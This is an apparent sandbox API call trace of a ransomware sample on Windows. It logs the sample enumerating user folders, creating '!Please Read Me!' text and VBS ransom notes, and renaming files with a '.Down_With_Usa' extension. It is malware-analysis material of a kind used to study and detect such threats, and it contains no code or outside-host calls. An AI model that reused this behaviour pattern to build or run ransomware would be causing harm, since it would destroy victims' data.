[0121.083] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0121.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0121.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0121.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x42
[0121.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0121.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0121.085] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0121.087] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x42
[0121.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0121.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OZ1hK\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oz1hk\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0121.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0121.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0121.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27
[0121.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28
[0121.090] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.090] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.090] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0121.090] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.090] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0121.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0121.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0121.091] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads", lpFilePart=0x0) returned 0x27
[0121.091] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\", lpFilePart=0x0) returned 0x28
[0121.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.091] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.091] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0121.091] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0121.091] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0121.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0121.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0121.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0121.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24
[0121.092] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79404f30, ftCreationTime.dwHighDateTime=0x1d5dfb5, ftLastAccessTime.dwLowDateTime=0x50667960, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x50667960, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0xcf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="73xJeRBxXbqxOZ4YkoD.m4a", cAlternateFileName="73XJER~1.M4A")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24d6110, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc9924be0, ftLastAccessTime.dwHighDateTime=0x1d5d98a, ftLastWriteTime.dwLowDateTime=0xc9924be0, ftLastWriteTime.dwHighDateTime=0x1d5d98a, nFileSizeHigh=0x0, nFileSizeLow=0x6606, dwReserved0=0x0, dwReserved1=0x0, cFileName="8BbIrEDm8BZ0_M000xp.m4a", cAlternateFileName="8BBIRE~1.M4A")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c417b70, ftCreationTime.dwHighDateTime=0x1d5e6ac, ftLastAccessTime.dwLowDateTime=0xbf06d100, ftLastAccessTime.dwHighDateTime=0x1d5e13c, ftLastWriteTime.dwLowDateTime=0xbf06d100, ftLastWriteTime.dwHighDateTime=0x1d5e13c, nFileSizeHigh=0x0, nFileSizeLow=0x5508, dwReserved0=0x0, dwReserved1=0x0, cFileName="C75 nBKp02bsopw.m4a", cAlternateFileName="C75NBK~1.M4A")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119075a0, ftCreationTime.dwHighDateTime=0x1d5dcbc, ftLastAccessTime.dwLowDateTime=0x4f1c6670, ftLastAccessTime.dwHighDateTime=0x1d5da39, ftLastWriteTime.dwLowDateTime=0x4f1c6670, ftLastWriteTime.dwHighDateTime=0x1d5da39, nFileSizeHigh=0x0, nFileSizeLow=0x1138b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8NZX1XfBMCBpJsmGuh.mp3", cAlternateFileName="Q8NZX1~1.MP3")) returned 1
[0121.092] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 1
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 0
[0121.093] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0121.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0121.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ec080) returned 1
[0121.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", nBufferLength=0x105, lpBuffer=0x2ebb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music", lpFilePart=0x0) returned 0x23
[0121.093] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", nBufferLength=0x105, lpBuffer=0x2ebb10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\", lpFilePart=0x0) returned 0x24
[0121.093] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x2ebd20 | out: lpFindFileData=0x2ebd20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.txt", cAlternateFileName="!PLEAS~1.TXT")) returned 1
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x245785e0, ftCreationTime.dwHighDateTime=0x1d6a96f, ftLastAccessTime.dwLowDateTime=0x245785e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x245785e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="!Please Read Me!.vbs", cAlternateFileName="!PLEAS~1.VBS")) returned 1
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79404f30, ftCreationTime.dwHighDateTime=0x1d5dfb5, ftLastAccessTime.dwLowDateTime=0x50667960, ftLastAccessTime.dwHighDateTime=0x1d5dcfc, ftLastWriteTime.dwLowDateTime=0x50667960, ftLastWriteTime.dwHighDateTime=0x1d5dcfc, nFileSizeHigh=0x0, nFileSizeLow=0xcf5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="73xJeRBxXbqxOZ4YkoD.m4a", cAlternateFileName="73XJER~1.M4A")) returned 1
[0121.093] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd24d6110, ftCreationTime.dwHighDateTime=0x1d5e011, ftLastAccessTime.dwLowDateTime=0xc9924be0, ftLastAccessTime.dwHighDateTime=0x1d5d98a, ftLastWriteTime.dwLowDateTime=0xc9924be0, ftLastWriteTime.dwHighDateTime=0x1d5d98a, nFileSizeHigh=0x0, nFileSizeLow=0x6606, dwReserved0=0x0, dwReserved1=0x0, cFileName="8BbIrEDm8BZ0_M000xp.m4a", cAlternateFileName="8BBIRE~1.M4A")) returned 1
[0121.094] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c417b70, ftCreationTime.dwHighDateTime=0x1d5e6ac, ftLastAccessTime.dwLowDateTime=0xbf06d100, ftLastAccessTime.dwHighDateTime=0x1d5e13c, ftLastWriteTime.dwLowDateTime=0xbf06d100, ftLastWriteTime.dwHighDateTime=0x1d5e13c, nFileSizeHigh=0x0, nFileSizeLow=0x5508, dwReserved0=0x0, dwReserved1=0x0, cFileName="C75 nBKp02bsopw.m4a", cAlternateFileName="C75NBK~1.M4A")) returned 1
[0121.094] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0121.094] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119075a0, ftCreationTime.dwHighDateTime=0x1d5dcbc, ftLastAccessTime.dwLowDateTime=0x4f1c6670, ftLastAccessTime.dwHighDateTime=0x1d5da39, ftLastWriteTime.dwLowDateTime=0x4f1c6670, ftLastWriteTime.dwHighDateTime=0x1d5da39, nFileSizeHigh=0x0, nFileSizeLow=0x1138b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q8NZX1XfBMCBpJsmGuh.mp3", cAlternateFileName="Q8NZX1~1.MP3")) returned 1
[0121.094] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b65fb10, ftCreationTime.dwHighDateTime=0x1d5dabc, ftLastAccessTime.dwLowDateTime=0xf4d9ee70, ftLastAccessTime.dwHighDateTime=0x1d5e538, ftLastWriteTime.dwLowDateTime=0xf4d9ee70, ftLastWriteTime.dwHighDateTime=0x1d5e538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rd3ixcGHmVa", cAlternateFileName="RD3IXC~1")) returned 1
[0121.094] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2ebd70 | out: lpFindFileData=0x2ebd70*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0121.094] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebfd0) returned 1
[0121.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebf90) returned 1
[0121.094] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x38
[0121.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd90) returned 1
[0121.094] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.094] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd00) returned 1
[0121.094] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x623
[0121.095] ReadFile (in: hFile=0x3a8, lpBuffer=0x26d65a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x26d65a8*, lpNumberOfBytesRead=0x2ebe58*=0x623, lpOverlapped=0x0) returned 1
[0121.116] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x38
[0121.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0121.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.118] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0121.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x38
[0121.119] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x46
[0121.119] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
